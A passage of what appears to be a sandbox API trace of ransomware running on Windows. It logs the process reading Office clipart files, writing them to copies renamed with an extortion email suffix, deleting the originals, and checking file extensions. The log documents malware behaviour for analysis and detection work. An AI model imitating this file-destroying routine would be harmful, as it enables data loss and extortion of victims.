Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0052.387] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.387] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.387] GetLastError () returned 0x0 [0052.387] ReadFile (in: hFile=0x160, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x1f20, lpOverlapped=0x0) returned 1 [0052.389] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0052.390] ReadFile (in: hFile=0x160, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.390] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.390] SetEndOfFile (hFile=0x190) returned 1 [0052.390] CloseHandle (hObject=0x190) returned 1 [0052.390] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.390] SetEndOfFile (hFile=0x160) returned 1 [0052.391] CloseHandle (hObject=0x160) returned 1 [0052.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0052.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0052.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0052.392] lstrlenW (lpString=".doc") returned 4 [0052.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.392] lstrlenW (lpString=".docx") returned 5 [0052.392] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.392] lstrlenW (lpString=".pdf") returned 4 [0052.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.392] lstrlenW (lpString=".xls") returned 4 [0052.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.392] lstrlenW (lpString=".xlsx") returned 5 [0052.392] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.392] lstrlenW (lpString=".ppt") returned 4 [0052.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0052.392] lstrlenW (lpString=".zip") returned 4 [0052.392] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.392] lstrlenW (lpString=".rar") returned 4 [0052.392] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.392] lstrlenW (lpString=".bz2") returned 4 [0052.392] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.392] lstrlenW (lpString=".7z") returned 3 [0052.392] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0052.392] lstrlenW (lpString=".dbf") returned 4 [0052.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0052.392] lstrlenW (lpString=".1cd") returned 4 [0052.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0052.392] lstrlenW (lpString=".jpg") returned 4 [0052.392] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.393] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.393] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.393] GetLastError () returned 0x0 [0052.393] ReadFile (in: hFile=0x160, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x728, lpOverlapped=0x0) returned 1 [0052.394] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x730, lpOverlapped=0x0) returned 1 [0052.395] ReadFile (in: hFile=0x160, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.395] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.395] SetEndOfFile (hFile=0x190) returned 1 [0052.395] CloseHandle (hObject=0x190) returned 1 [0052.395] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.395] SetEndOfFile (hFile=0x160) returned 1 [0052.396] CloseHandle (hObject=0x160) returned 1 [0052.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0052.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0052.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0052.399] lstrlenW (lpString=".doc") returned 4 [0052.399] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.399] lstrlenW (lpString=".docx") returned 5 [0052.399] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.399] lstrlenW (lpString=".pdf") returned 4 [0052.399] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.399] lstrlenW (lpString=".xls") returned 4 [0052.399] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.399] lstrlenW (lpString=".xlsx") returned 5 [0052.399] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.399] lstrlenW (lpString=".ppt") returned 4 [0052.399] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0052.399] lstrlenW (lpString=".zip") returned 4 [0052.399] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.399] lstrlenW (lpString=".rar") returned 4 [0052.399] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.399] lstrlenW (lpString=".bz2") returned 4 [0052.399] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.399] lstrlenW (lpString=".7z") returned 3 [0052.399] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0052.399] lstrlenW (lpString=".dbf") returned 4 [0052.399] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0052.400] lstrlenW (lpString=".1cd") returned 4 [0052.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0052.400] lstrlenW (lpString=".jpg") returned 4 [0052.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.401] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.401] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.401] GetLastError () returned 0x0 [0052.401] ReadFile (in: hFile=0x160, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x66dc, lpOverlapped=0x0) returned 1 [0052.403] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x66e0, lpOverlapped=0x0) returned 1 [0052.404] ReadFile (in: hFile=0x160, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.404] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.404] SetEndOfFile (hFile=0x190) returned 1 [0052.404] CloseHandle (hObject=0x190) returned 1 [0052.404] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.405] SetEndOfFile (hFile=0x160) returned 1 [0052.405] CloseHandle (hObject=0x160) returned 1 [0052.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0052.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0052.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0052.406] lstrlenW (lpString=".doc") returned 4 [0052.406] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.406] lstrlenW (lpString=".docx") returned 5 [0052.406] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.406] lstrlenW (lpString=".pdf") returned 4 [0052.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.406] lstrlenW (lpString=".xls") returned 4 [0052.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.406] lstrlenW (lpString=".xlsx") returned 5 [0052.406] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.406] lstrlenW (lpString=".ppt") returned 4 [0052.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0052.406] lstrlenW (lpString=".zip") returned 4 [0052.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.406] lstrlenW (lpString=".rar") returned 4 [0052.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.406] lstrlenW (lpString=".bz2") returned 4 [0052.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.406] lstrlenW (lpString=".7z") returned 3 [0052.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0052.406] lstrlenW (lpString=".dbf") returned 4 [0052.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0052.407] lstrlenW (lpString=".1cd") returned 4 [0052.407] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0052.407] lstrlenW (lpString=".jpg") returned 4 [0052.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.407] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.407] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.407] GetLastError () returned 0x0 [0052.407] ReadFile (in: hFile=0x160, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x6cd2, lpOverlapped=0x0) returned 1 [0052.503] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x6ce0, lpOverlapped=0x0) returned 1 [0052.504] ReadFile (in: hFile=0x160, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.504] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.504] SetEndOfFile (hFile=0x190) returned 1 [0052.567] CloseHandle (hObject=0x190) returned 1 [0052.590] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.592] SetEndOfFile (hFile=0x160) returned 1 [0052.600] CloseHandle (hObject=0x160) returned 1 [0052.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.600] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0052.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0052.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0052.600] lstrlenW (lpString=".doc") returned 4 [0052.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.600] lstrlenW (lpString=".docx") returned 5 [0052.600] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.600] lstrlenW (lpString=".pdf") returned 4 [0052.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.600] lstrlenW (lpString=".xls") returned 4 [0052.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.600] lstrlenW (lpString=".xlsx") returned 5 [0052.600] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.601] lstrlenW (lpString=".ppt") returned 4 [0052.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0052.601] lstrlenW (lpString=".zip") returned 4 [0052.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.601] lstrlenW (lpString=".rar") returned 4 [0052.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.601] lstrlenW (lpString=".bz2") returned 4 [0052.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.601] lstrlenW (lpString=".7z") returned 3 [0052.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0052.601] lstrlenW (lpString=".dbf") returned 4 [0052.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0052.601] lstrlenW (lpString=".1cd") returned 4 [0052.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0052.601] lstrlenW (lpString=".jpg") returned 4 [0052.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.601] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.601] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.602] GetLastError () returned 0x0 [0052.602] ReadFile (in: hFile=0x160, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x1204, lpOverlapped=0x0) returned 1 [0052.603] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1210, lpOverlapped=0x0) returned 1 [0052.604] ReadFile (in: hFile=0x160, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.604] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.604] SetEndOfFile (hFile=0x190) returned 1 [0052.604] CloseHandle (hObject=0x190) returned 1 [0052.605] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.605] SetEndOfFile (hFile=0x160) returned 1 [0052.605] CloseHandle (hObject=0x160) returned 1 [0052.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0052.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0052.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0052.606] lstrlenW (lpString=".doc") returned 4 [0052.606] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.606] lstrlenW (lpString=".docx") returned 5 [0052.606] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.606] lstrlenW (lpString=".pdf") returned 4 [0052.606] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.606] lstrlenW (lpString=".xls") returned 4 [0052.606] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.606] lstrlenW (lpString=".xlsx") returned 5 [0052.606] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.606] lstrlenW (lpString=".ppt") returned 4 [0052.606] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0052.606] lstrlenW (lpString=".zip") returned 4 [0052.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.606] lstrlenW (lpString=".rar") returned 4 [0052.606] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.606] lstrlenW (lpString=".bz2") returned 4 [0052.606] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.606] lstrlenW (lpString=".7z") returned 3 [0052.606] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0052.607] lstrlenW (lpString=".dbf") returned 4 [0052.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0052.607] lstrlenW (lpString=".1cd") returned 4 [0052.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0052.607] lstrlenW (lpString=".jpg") returned 4 [0052.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.607] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.607] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.607] GetLastError () returned 0x0 [0052.607] ReadFile (in: hFile=0x160, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0xc48, lpOverlapped=0x0) returned 1 [0052.609] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xc50, lpOverlapped=0x0) returned 1 [0052.609] ReadFile (in: hFile=0x160, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.610] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.610] SetEndOfFile (hFile=0x190) returned 1 [0052.610] CloseHandle (hObject=0x190) returned 1 [0052.610] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 